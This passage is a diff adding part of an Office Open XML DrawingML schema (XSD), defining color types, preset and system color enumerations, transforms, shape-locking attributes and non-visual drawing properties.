</xsd:simpleType> + <xsd:simpleType name="ST_FixedPercentageDecimal"> + <xsd:restriction base="ST_PercentageDecimal"> + <xsd:minInclusive value="-100000"/> + <xsd:maxInclusive value="100000"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_FixedPercentage"> + <xsd:attribute name="val" type="ST_FixedPercentage" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_PositiveFixedPercentage"> + <xsd:union memberTypes="ST_PositiveFixedPercentageDecimal s:ST_PositiveFixedPercentage"/> + </xsd:simpleType> + <xsd:simpleType name="ST_PositiveFixedPercentageDecimal"> + <xsd:restriction base="ST_PercentageDecimal"> + <xsd:minInclusive value="0"/> + <xsd:maxInclusive value="100000"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PositiveFixedPercentage"> + <xsd:attribute name="val" type="ST_PositiveFixedPercentage" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Ratio"> + <xsd:attribute name="n" type="xsd:long" use="required"/> + <xsd:attribute name="d" type="xsd:long" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Point2D"> + <xsd:attribute name="x" type="ST_Coordinate" use="required"/> + <xsd:attribute name="y" type="ST_Coordinate" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_PositiveSize2D"> + <xsd:attribute name="cx" type="ST_PositiveCoordinate" use="required"/> + <xsd:attribute name="cy" type="ST_PositiveCoordinate" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_ComplementTransform"/> + <xsd:complexType name="CT_InverseTransform"/> + <xsd:complexType name="CT_GrayscaleTransform"/> + <xsd:complexType name="CT_GammaTransform"/> + <xsd:complexType name="CT_InverseGammaTransform"/> + <xsd:group name="EG_ColorTransform"> + <xsd:choice> + <xsd:element name="tint" type="CT_PositiveFixedPercentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="shade" type="CT_PositiveFixedPercentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="comp" type="CT_ComplementTransform" minOccurs="1" maxOccurs="1"/> + <xsd:element name="inv" type="CT_InverseTransform" minOccurs="1" maxOccurs="1"/> + <xsd:element name="gray" type="CT_GrayscaleTransform" minOccurs="1" maxOccurs="1"/> + <xsd:element name="alpha" type="CT_PositiveFixedPercentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="alphaOff" type="CT_FixedPercentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="alphaMod" type="CT_PositivePercentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="hue" type="CT_PositiveFixedAngle" minOccurs="1" maxOccurs="1"/> + <xsd:element name="hueOff" type="CT_Angle" minOccurs="1" maxOccurs="1"/> + <xsd:element name="hueMod" type="CT_PositivePercentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="sat" type="CT_Percentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="satOff" type="CT_Percentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="satMod" type="CT_Percentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="lum" type="CT_Percentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="lumOff" type="CT_Percentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="lumMod" type="CT_Percentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="red" type="CT_Percentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="redOff" type="CT_Percentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="redMod" type="CT_Percentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="green" type="CT_Percentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="greenOff" type="CT_Percentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="greenMod" type="CT_Percentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="blue" type="CT_Percentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="blueOff" type="CT_Percentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="blueMod" type="CT_Percentage" minOccurs="1" maxOccurs="1"/> + <xsd:element name="gamma" type="CT_GammaTransform" minOccurs="1" maxOccurs="1"/> + <xsd:element name="invGamma" type="CT_InverseGammaTransform" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_ScRgbColor"> + <xsd:sequence> + <xsd:group ref="EG_ColorTransform" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="r" type="ST_Percentage" use="required"/> + <xsd:attribute name="g" type="ST_Percentage" use="required"/> + <xsd:attribute name="b" type="ST_Percentage" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SRgbColor"> + <xsd:sequence> + <xsd:group ref="EG_ColorTransform" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="val" type="s:ST_HexColorRGB" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_HslColor"> + <xsd:sequence> + <xsd:group ref="EG_ColorTransform" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="hue" type="ST_PositiveFixedAngle" use="required"/> + <xsd:attribute name="sat" type="ST_Percentage" use="required"/> + <xsd:attribute name="lum" type="ST_Percentage" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_SystemColorVal"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="scrollBar"/> + <xsd:enumeration value="background"/> + <xsd:enumeration value="activeCaption"/> + <xsd:enumeration value="inactiveCaption"/> + <xsd:enumeration value="menu"/> + <xsd:enumeration value="window"/> + <xsd:enumeration value="windowFrame"/> + <xsd:enumeration value="menuText"/> + <xsd:enumeration value="windowText"/> + <xsd:enumeration value="captionText"/> + <xsd:enumeration value="activeBorder"/> + <xsd:enumeration value="inactiveBorder"/> + <xsd:enumeration value="appWorkspace"/> + <xsd:enumeration value="highlight"/> + <xsd:enumeration value="highlightText"/> + <xsd:enumeration value="btnFace"/> + <xsd:enumeration value="btnShadow"/> + <xsd:enumeration value="grayText"/> + <xsd:enumeration value="btnText"/> + <xsd:enumeration value="inactiveCaptionText"/> + <xsd:enumeration value="btnHighlight"/> + <xsd:enumeration value="3dDkShadow"/> + <xsd:enumeration value="3dLight"/> + <xsd:enumeration value="infoText"/> + <xsd:enumeration value="infoBk"/> + <xsd:enumeration value="hotLight"/> + <xsd:enumeration value="gradientActiveCaption"/> + <xsd:enumeration value="gradientInactiveCaption"/> + <xsd:enumeration value="menuHighlight"/> + <xsd:enumeration value="menuBar"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SystemColor"> + <xsd:sequence> + <xsd:group ref="EG_ColorTransform" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="val" type="ST_SystemColorVal" use="required"/> + <xsd:attribute name="lastClr" type="s:ST_HexColorRGB" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_SchemeColorVal"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="bg1"/> + <xsd:enumeration value="tx1"/> + <xsd:enumeration value="bg2"/> + <xsd:enumeration value="tx2"/> + <xsd:enumeration value="accent1"/> + <xsd:enumeration value="accent2"/> + <xsd:enumeration value="accent3"/> + <xsd:enumeration value="accent4"/> + <xsd:enumeration value="accent5"/> + <xsd:enumeration value="accent6"/> + <xsd:enumeration value="hlink"/> + <xsd:enumeration value="folHlink"/> + <xsd:enumeration value="phClr"/> + <xsd:enumeration value="dk1"/> + <xsd:enumeration value="lt1"/> + <xsd:enumeration value="dk2"/> + <xsd:enumeration value="lt2"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SchemeColor"> + <xsd:sequence> + <xsd:group ref="EG_ColorTransform" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="val" type="ST_SchemeColorVal" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_PresetColorVal"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="aliceBlue"/> + <xsd:enumeration value="antiqueWhite"/> + <xsd:enumeration value="aqua"/> + <xsd:enumeration value="aquamarine"/> + <xsd:enumeration value="azure"/> + <xsd:enumeration value="beige"/> + <xsd:enumeration value="bisque"/> + <xsd:enumeration value="black"/> + <xsd:enumeration value="blanchedAlmond"/> + <xsd:enumeration value="blue"/> + <xsd:enumeration value="blueViolet"/> + <xsd:enumeration value="brown"/> + <xsd:enumeration value="burlyWood"/> + <xsd:enumeration value="cadetBlue"/> + <xsd:enumeration value="chartreuse"/> + <xsd:enumeration value="chocolate"/> + <xsd:enumeration value="coral"/> + <xsd:enumeration value="cornflowerBlue"/> + <xsd:enumeration value="cornsilk"/> + <xsd:enumeration value="crimson"/> + <xsd:enumeration value="cyan"/> + <xsd:enumeration value="darkBlue"/> + <xsd:enumeration value="darkCyan"/> + <xsd:enumeration value="darkGoldenrod"/> + <xsd:enumeration value="darkGray"/> + <xsd:enumeration value="darkGrey"/> + <xsd:enumeration value="darkGreen"/> + <xsd:enumeration value="darkKhaki"/> + <xsd:enumeration value="darkMagenta"/> + <xsd:enumeration value="darkOliveGreen"/> + <xsd:enumeration value="darkOrange"/> + <xsd:enumeration value="darkOrchid"/> + <xsd:enumeration value="darkRed"/> + <xsd:enumeration value="darkSalmon"/> + <xsd:enumeration value="darkSeaGreen"/> + <xsd:enumeration value="darkSlateBlue"/> + <xsd:enumeration value="darkSlateGray"/> + <xsd:enumeration value="darkSlateGrey"/> + <xsd:enumeration value="darkTurquoise"/> + <xsd:enumeration value="darkViolet"/> + <xsd:enumeration value="dkBlue"/> + <xsd:enumeration value="dkCyan"/> + <xsd:enumeration value="dkGoldenrod"/> + <xsd:enumeration value="dkGray"/> + <xsd:enumeration value="dkGrey"/> + <xsd:enumeration value="dkGreen"/> + <xsd:enumeration value="dkKhaki"/> + <xsd:enumeration value="dkMagenta"/> + <xsd:enumeration value="dkOliveGreen"/> + <xsd:enumeration value="dkOrange"/> + <xsd:enumeration value="dkOrchid"/> + <xsd:enumeration value="dkRed"/> + <xsd:enumeration value="dkSalmon"/> + <xsd:enumeration value="dkSeaGreen"/> + <xsd:enumeration value="dkSlateBlue"/> + <xsd:enumeration value="dkSlateGray"/> + <xsd:enumeration value="dkSlateGrey"/> + <xsd:enumeration value="dkTurquoise"/> + <xsd:enumeration value="dkViolet"/> + <xsd:enumeration value="deepPink"/> + <xsd:enumeration value="deepSkyBlue"/> + <xsd:enumeration value="dimGray"/> + <xsd:enumeration value="dimGrey"/> + <xsd:enumeration value="dodgerBlue"/> + <xsd:enumeration value="firebrick"/> + <xsd:enumeration value="floralWhite"/> + <xsd:enumeration value="forestGreen"/> + <xsd:enumeration value="fuchsia"/> + <xsd:enumeration value="gainsboro"/> + <xsd:enumeration value="ghostWhite"/> + <xsd:enumeration value="gold"/> + <xsd:enumeration value="goldenrod"/> + <xsd:enumeration value="gray"/> + <xsd:enumeration value="grey"/> + <xsd:enumeration value="green"/> + <xsd:enumeration value="greenYellow"/> + <xsd:enumeration value="honeydew"/> + <xsd:enumeration value="hotPink"/> + <xsd:enumeration value="indianRed"/> + <xsd:enumeration value="indigo"/> + <xsd:enumeration value="ivory"/> + <xsd:enumeration value="khaki"/> + <xsd:enumeration value="lavender"/> + <xsd:enumeration value="lavenderBlush"/> + <xsd:enumeration value="lawnGreen"/> + <xsd:enumeration value="lemonChiffon"/> + <xsd:enumeration value="lightBlue"/> + <xsd:enumeration value="lightCoral"/> + <xsd:enumeration value="lightCyan"/> + <xsd:enumeration value="lightGoldenrodYellow"/> + <xsd:enumeration value="lightGray"/> + <xsd:enumeration value="lightGrey"/> + <xsd:enumeration value="lightGreen"/> + <xsd:enumeration value="lightPink"/> + <xsd:enumeration value="lightSalmon"/> + <xsd:enumeration value="lightSeaGreen"/> + <xsd:enumeration value="lightSkyBlue"/> + <xsd:enumeration value="lightSlateGray"/> + <xsd:enumeration value="lightSlateGrey"/> + <xsd:enumeration value="lightSteelBlue"/> + <xsd:enumeration value="lightYellow"/> + <xsd:enumeration value="ltBlue"/> + <xsd:enumeration value="ltCoral"/> + <xsd:enumeration value="ltCyan"/> + <xsd:enumeration value="ltGoldenrodYellow"/> + <xsd:enumeration value="ltGray"/> + <xsd:enumeration value="ltGrey"/> + <xsd:enumeration value="ltGreen"/> + <xsd:enumeration value="ltPink"/> + <xsd:enumeration value="ltSalmon"/> + <xsd:enumeration value="ltSeaGreen"/> + <xsd:enumeration value="ltSkyBlue"/> + <xsd:enumeration value="ltSlateGray"/> + <xsd:enumeration value="ltSlateGrey"/> + <xsd:enumeration value="ltSteelBlue"/> + <xsd:enumeration value="ltYellow"/> + <xsd:enumeration value="lime"/> + <xsd:enumeration value="limeGreen"/> + <xsd:enumeration value="linen"/> + <xsd:enumeration value="magenta"/> + <xsd:enumeration value="maroon"/> + <xsd:enumeration value="medAquamarine"/> + <xsd:enumeration value="medBlue"/> + <xsd:enumeration value="medOrchid"/> + <xsd:enumeration value="medPurple"/> + <xsd:enumeration value="medSeaGreen"/> + <xsd:enumeration value="medSlateBlue"/> + <xsd:enumeration value="medSpringGreen"/> + <xsd:enumeration value="medTurquoise"/> + <xsd:enumeration value="medVioletRed"/> + <xsd:enumeration value="mediumAquamarine"/> + <xsd:enumeration value="mediumBlue"/> + <xsd:enumeration value="mediumOrchid"/> + <xsd:enumeration value="mediumPurple"/> + <xsd:enumeration value="mediumSeaGreen"/> + <xsd:enumeration value="mediumSlateBlue"/> + <xsd:enumeration value="mediumSpringGreen"/> + <xsd:enumeration value="mediumTurquoise"/> + <xsd:enumeration value="mediumVioletRed"/> + <xsd:enumeration value="midnightBlue"/> + <xsd:enumeration value="mintCream"/> + <xsd:enumeration value="mistyRose"/> + <xsd:enumeration value="moccasin"/> + <xsd:enumeration value="navajoWhite"/> + <xsd:enumeration value="navy"/> + <xsd:enumeration value="oldLace"/> + <xsd:enumeration value="olive"/> + <xsd:enumeration value="oliveDrab"/> + <xsd:enumeration value="orange"/> + <xsd:enumeration value="orangeRed"/> + <xsd:enumeration value="orchid"/> + <xsd:enumeration value="paleGoldenrod"/> + <xsd:enumeration value="paleGreen"/> + <xsd:enumeration value="paleTurquoise"/> + <xsd:enumeration value="paleVioletRed"/> + <xsd:enumeration value="papayaWhip"/> + <xsd:enumeration value="peachPuff"/> + <xsd:enumeration value="peru"/> + <xsd:enumeration value="pink"/> + <xsd:enumeration value="plum"/> + <xsd:enumeration value="powderBlue"/> + <xsd:enumeration value="purple"/> + <xsd:enumeration value="red"/> + <xsd:enumeration value="rosyBrown"/> + <xsd:enumeration value="royalBlue"/> + <xsd:enumeration value="saddleBrown"/> + <xsd:enumeration value="salmon"/> + <xsd:enumeration value="sandyBrown"/> + <xsd:enumeration value="seaGreen"/> + <xsd:enumeration value="seaShell"/> + <xsd:enumeration value="sienna"/> + <xsd:enumeration value="silver"/> + <xsd:enumeration value="skyBlue"/> + <xsd:enumeration value="slateBlue"/> + <xsd:enumeration value="slateGray"/> + <xsd:enumeration value="slateGrey"/> + <xsd:enumeration value="snow"/> + <xsd:enumeration value="springGreen"/> + <xsd:enumeration value="steelBlue"/> + <xsd:enumeration value="tan"/> + <xsd:enumeration value="teal"/> + <xsd:enumeration value="thistle"/> + <xsd:enumeration value="tomato"/> + <xsd:enumeration value="turquoise"/> + <xsd:enumeration value="violet"/> + <xsd:enumeration value="wheat"/> + <xsd:enumeration value="white"/> + <xsd:enumeration value="whiteSmoke"/> + <xsd:enumeration value="yellow"/> + <xsd:enumeration value="yellowGreen"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PresetColor"> + <xsd:sequence> + <xsd:group ref="EG_ColorTransform" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="val" type="ST_PresetColorVal" use="required"/> + </xsd:complexType> + <xsd:group name="EG_OfficeArtExtensionList"> + <xsd:sequence> + <xsd:element name="ext" type="CT_OfficeArtExtension" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:group> + <xsd:complexType name="CT_OfficeArtExtensionList"> + <xsd:sequence> + <xsd:group ref="EG_OfficeArtExtensionList" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Scale2D"> + <xsd:sequence> + <xsd:element name="sx" type="CT_Ratio" minOccurs="1" maxOccurs="1"/> + <xsd:element name="sy" type="CT_Ratio" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Transform2D"> + <xsd:sequence> + <xsd:element name="off" type="CT_Point2D" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ext" type="CT_PositiveSize2D" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="rot" type="ST_Angle" use="optional" default="0"/> + <xsd:attribute name="flipH" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="flipV" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_GroupTransform2D"> + <xsd:sequence> + <xsd:element name="off" type="CT_Point2D" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ext" type="CT_PositiveSize2D" minOccurs="0" maxOccurs="1"/> + <xsd:element name="chOff" type="CT_Point2D" minOccurs="0" maxOccurs="1"/> + <xsd:element name="chExt" type="CT_PositiveSize2D" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="rot" type="ST_Angle" use="optional" default="0"/> + <xsd:attribute name="flipH" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="flipV" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_Point3D"> + <xsd:attribute name="x" type="ST_Coordinate" use="required"/> + <xsd:attribute name="y" type="ST_Coordinate" use="required"/> + <xsd:attribute name="z" type="ST_Coordinate" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Vector3D"> + <xsd:attribute name="dx" type="ST_Coordinate" use="required"/> + <xsd:attribute name="dy" type="ST_Coordinate" use="required"/> + <xsd:attribute name="dz" type="ST_Coordinate" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SphereCoords"> + <xsd:attribute name="lat" type="ST_PositiveFixedAngle" use="required"/> + <xsd:attribute name="lon" type="ST_PositiveFixedAngle" use="required"/> + <xsd:attribute name="rev" type="ST_PositiveFixedAngle" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_RelativeRect"> + <xsd:attribute name="l" type="ST_Percentage" use="optional" default="0%"/> + <xsd:attribute name="t" type="ST_Percentage" use="optional" default="0%"/> + <xsd:attribute name="r" type="ST_Percentage" use="optional" default="0%"/> + <xsd:attribute name="b" type="ST_Percentage" use="optional" default="0%"/> + </xsd:complexType> + <xsd:simpleType name="ST_RectAlignment"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="tl"/> + <xsd:enumeration value="t"/> + <xsd:enumeration value="tr"/> + <xsd:enumeration value="l"/> + <xsd:enumeration value="ctr"/> + <xsd:enumeration value="r"/> + <xsd:enumeration value="bl"/> + <xsd:enumeration value="b"/> + <xsd:enumeration value="br"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:group name="EG_ColorChoice"> + <xsd:choice> + <xsd:element name="scrgbClr" type="CT_ScRgbColor" minOccurs="1" maxOccurs="1"/> + <xsd:element name="srgbClr" type="CT_SRgbColor" minOccurs="1" maxOccurs="1"/> + <xsd:element name="hslClr" type="CT_HslColor" minOccurs="1" maxOccurs="1"/> + <xsd:element name="sysClr" type="CT_SystemColor" minOccurs="1" maxOccurs="1"/> + <xsd:element name="schemeClr" type="CT_SchemeColor" minOccurs="1" maxOccurs="1"/> + <xsd:element name="prstClr" type="CT_PresetColor" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_Color"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ColorMRU"> + <xsd:sequence> + <xsd:group ref="EG_ColorChoice" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_BlackWhiteMode"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="clr"/> + <xsd:enumeration value="auto"/> + <xsd:enumeration value="gray"/> + <xsd:enumeration value="ltGray"/> + <xsd:enumeration value="invGray"/> + <xsd:enumeration value="grayWhite"/> + <xsd:enumeration value="blackGray"/> + <xsd:enumeration value="blackWhite"/> + <xsd:enumeration value="black"/> + <xsd:enumeration value="white"/> + <xsd:enumeration value="hidden"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:attributeGroup name="AG_Blob"> + <xsd:attribute ref="r:embed" use="optional" default=""/> + <xsd:attribute ref="r:link" use="optional" default=""/> + </xsd:attributeGroup> + <xsd:complexType name="CT_EmbeddedWAVAudioFile"> + <xsd:attribute ref="r:embed" use="required"/> + <xsd:attribute name="name" type="xsd:string" use="optional" default=""/> + </xsd:complexType> + <xsd:complexType name="CT_Hyperlink"> + <xsd:sequence> + <xsd:element name="snd" type="CT_EmbeddedWAVAudioFile" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute ref="r:id" use="optional"/> + <xsd:attribute name="invalidUrl" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="action" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="tgtFrame" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="tooltip" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="history" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="highlightClick" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="endSnd" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:simpleType name="ST_DrawingElementId"> + <xsd:restriction base="xsd:unsignedInt"/> + </xsd:simpleType> + <xsd:attributeGroup name="AG_Locking"> + <xsd:attribute name="noGrp" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noSelect" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noRot" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noChangeAspect" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noMove" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noResize" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noEditPoints" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noAdjustHandles" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noChangeArrowheads" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noChangeShapeType" type="xsd:boolean" use="optional" default="false"/> + </xsd:attributeGroup> + <xsd:complexType name="CT_ConnectorLocking"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_Locking"/> + </xsd:complexType> + <xsd:complexType name="CT_ShapeLocking"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_Locking"/> + <xsd:attribute name="noTextEdit" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_PictureLocking"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_Locking"/> + <xsd:attribute name="noCrop" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_GroupLocking"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="noGrp" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noUngrp" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noSelect" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noRot" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noChangeAspect" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noMove" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noResize" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_GraphicalObjectFrameLocking"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="noGrp" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noDrilldown" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noSelect" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noChangeAspect" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noMove" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="noResize" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_ContentPartLocking"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attributeGroup ref="AG_Locking"/> + </xsd:complexType> + <xsd:complexType name="CT_NonVisualDrawingProps"> + <xsd:sequence> + <xsd:element name="hlinkClick" type="CT_Hyperlink" minOccurs="0" maxOccurs="1"/> + <xsd:element name="hlinkHover" type="CT_Hyperlink" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="id" type="ST_DrawingElementId" use="required"/> + <xsd:attribute name="name" type="xsd:string" use="required"/> + <xsd:attribute name="descr" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="hidden" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="title" type="xsd:string" use="optional" default=""/> + </xsd:complexType> + <xsd:complexType name="CT_NonVisualDrawingShapeProps"> + <xsd:sequence> + <xsd:element name="spLocks" type="CT_ShapeLocking" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="txBox" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_NonVisualConnectorProperties"> + <xsd:sequence> + <xsd:element name="cxnSpLocks" type="CT_ConnectorLocking" minOccurs="0" maxOccurs="1"/> + <xsd:element name="stCxn" type="CT_Connection" minOccurs="0" maxOccurs="1"/> + <xsd:element name="endCxn" type="CT_Connection" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_NonVisualPictureProperties"> + <xsd:sequence> + <xsd:element name="picLocks" type="CT_PictureLocking" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="preferRelativeResize" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_NonVisualGroupDrawingShapeProps"> + <xsd:sequence> + <xsd:element name="grpSpLocks" type="CT_GroupLocking" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_NonVisualGraphicFrameProperties"> + <xsd:sequence> + <xsd:element name="graphicFrameLocks" type="CT_GraphicalObjectFrameLocking" minOccurs="0" + maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_NonVisualContentPartProperties"> + <xsd:sequence> + <xsd:element name="cpLocks" type="CT_ContentPartLocking" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="isComment" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_GraphicalObjectData"> + <xsd:sequence> + <xsd:any minOccurs="0" maxOccurs="unbounded" processContents="strict"/> + </xsd:sequence> + <xsd:attribute name="uri" type="xsd:token" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_GraphicalObject"> + <xsd:sequence> + <xsd:element name="graphicData" type="CT_GraphicalObjectData"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="graphic" type="CT_GraphicalObject"/> + <xsd:simpleType name="ST_ChartBuildStep"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="category"/> + <xsd:enumeration value="ptInCategory"/> + <xsd:enumeration value="series"/> + <xsd:enumeration value="ptInSeries"/> + <xsd:enumeration value="allPts"/> + <xsd:enumeration value="gridLegend"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_DgmBuildStep"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="sp"/> + <xsd:enumeration value="bg"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_AnimationDgmElement"> + <xsd:attribute name="id" type="s:ST_Guid" use="optional" + default="{00000000-0000-0000-0000-000000000000}"/> + <xsd:attribute name="bldStep" type="ST_DgmBuildStep" use="optional" default="sp"/> + </xsd:complexType> + <xsd:complexType name="CT_AnimationChartElement"> + <xsd:attribute name="seriesIdx" type="xsd:int" use="optional" default="-1"/> + <xsd:attribute name="categoryIdx" type="xsd:int" use="optional" default="-1"/> + <xsd:attribute name="bldStep" 